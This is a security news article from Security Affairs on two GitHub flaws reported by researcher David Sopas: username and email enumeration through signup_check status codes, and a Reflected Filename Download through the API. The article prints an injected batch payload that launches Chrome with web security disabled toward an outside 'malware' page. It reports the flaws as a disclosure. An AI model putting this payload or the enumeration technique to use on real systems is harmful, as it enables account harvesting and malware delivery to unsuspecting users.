Categories: Breaking NewsHacking

A researcher discovered two security issues in the GITHUB platform

A security researcher discovered a couple of security issues on GitHub platform explaining how it is possible to exploit them in real attack scenarios.

The researcher David Sopas (@dsopas) from Websegura discovered a couple of security issues in the coding website GitHub that were ranked by the company as minor, but that could expose users to cyber attacks.

The first flaw discovered by Sopas was exploitable to enumerate Username and Email of GitHub users. The expert simply created an account and verified through Request URL that signup_check retrieves a “Status code” 403 Forbidden if the username exists or is invalid, meanwhile if it doesn’t exist it retrieves a “Status code” 200 OK. 

The behavior is the same for email verification as explained by Sopas.

“When I created an account If I send an existing or invalid username it shows”

Remote Address:192.30.252.130:443
Request URL:https://github.com/signup_check/username
Request Method:POST
Status Code:403 Forbidden
But if I send a non-existing username it shows:
Remote Address:192.30.252.130:443
Request URL:https://github.com/signup_check/username
Request Method:POST
Status Code:200 OK
It also works for emails the same way.
Remote Address:192.30.252.129:443
Request URL:https://github.com/signup_check/email
Request Method:POST
Status Code:403 Forbidden
Remote Address:192.30.252.129:443
Request URL:https://github.com/signup_check/email
Request Method:POST
Status Code:200 OK

It is clear that the issue could be exploited to automatize the enumeration process as explained Sopas.

“What can be done with this? Using Burp proxy tool a malicious user could automatize this task and check for valid usernames and emails. Then even try to brute force them using a wordlist.” explained Sopas in a blog post.

The second flaw is a Reflected Filename Download affecting the GitHub API. The expert used a persistent reflected field in the user account to exploit the flaw. The field “Name” is one of the fields on the user account that could be used, the attacker just needs to reflect it on the user’s JSON file.

By inserting a batch command in the field, the attacker can make some operations as demonstrated in the proof-of-concept by Sopas that succeded into opening a Chrome new window with a “malicious page” disabling most protections from the browser.

David Sopas”||start chrome websegura.net/malware.htm –disable-web-security –disable-popup-blocking||

The structure of the JSON file associated with the user’s account used by Sopas (https://api.github.com/users/dsopas) is– you’ll see:

{
(…)
“name”: “David Sopas\”||start chrome websegura.net/malware.htm –disable-web-security –disable-popup-blocking||”,
“company”: “”,
“blog”: “”,
“location”: “”,
“email”: “”,
“hireable”: false,
“bio”: null,
“public_repos”: 0,
“public_gists”: 0,
“followers”: 0,
“following”: 0,
(…)
}

The reflected part doesn’t present problems so the experts need use a filename avoiding restrictions on the GitHub path to exploit the flaws. In his PoC, Sopas uses HTML5 DOWNLOAD attribute to complete the attack that works for Chrome, Opera, Android Browser, Chrome for Android, Firefox [forcing the user to “Save Link As”].

At this point to complete the exploit the attacker need to trick a victim into click on the download link to get a file supposed to be on api.github.com which is a [a trusted domain.

Below the Video PoC this second flaw:

The attack was similar to the one reported by Sopas a few days ago in a post describing how to exploit a Reflected Filename Download against the Instagram platform in order to serve malicious links.

Also in this case the possible attack scenarios are:

  1. Malicious user posts a new message on the GitHub [social network, forums, etc…]
  2. Victims clicks on the link and checks that the file is store on GitHub servers and runs it
  3. Victim has been infected with malware

Pierluigi Paganini

(Security Affairs –  GITHUB,   hacking)

Pierluigi Paganini

Pierluigi Paganini is member of the ENISA (European Union Agency for Network and Information Security) Threat Landscape Stakeholder Group and Cyber G7 Group, he is also a Security Evangelist, Security Analyst and Freelance Writer. Editor-in-Chief at "Cyber Defense Magazine", Pierluigi is a cyber security expert with over 20 years experience in the field, he is Certified Ethical Hacker at EC Council in London. The passion for writing and a strong belief that security is founded on sharing and awareness led Pierluigi to find the security blog "Security Affairs" recently named a Top National Security Resource for US. Pierluigi is a member of the "The Hacker News" team and he is a writer for some major publications in the field such as Cyber War Zone, ICTTF, Infosec Island, Infosec Institute, The Hacker News Magazine and for many other Security magazines. Author of the Books "The Deep Dark Web" and “Digital Virtual Currency and Bitcoin”.

Recent Posts

Microsoft Patch Tuesday security updates for May 2025 fixed 5 actively exploited zero-days

Microsoft Patch Tuesday security updates for May 2025 addressed 75 security flaws across multiple products, including…

6 hours ago

Fortinet fixed actively exploited FortiVoice zero-day<gwmw style="display:none;"></gwmw><gwmw style="display:none;"></gwmw>

Fortinet fixed a critical remote code execution zero-day vulnerability actively exploited in attacks targeting FortiVoice…

9 hours ago

How Interlock Ransomware Affects the Defense Industrial Base Supply Chain

Interlock Ransomware 's attack on a defense contractor exposed global defense supply chain details, risking…

21 hours ago

Marks and Spencer confirms data breach after April cyber attack

Marks and Spencer (M&S) confirms that threat actors stole customer data in the ransomware attack…

23 hours ago

Moldovan Police arrested a 45-year-old foreign man participating in ransomware attacks on Dutch companies

A 45-year-old foreign man has been arrested in Moldova for allegedly participating in ransomware attacks…

1 day ago

APT group exploited Output Messenger Zero-Day to target Kurdish military operating in Iraq

A Türkiye-linked group used an Output Messenger zero-day to spy on Kurdish military targets in…

1 day ago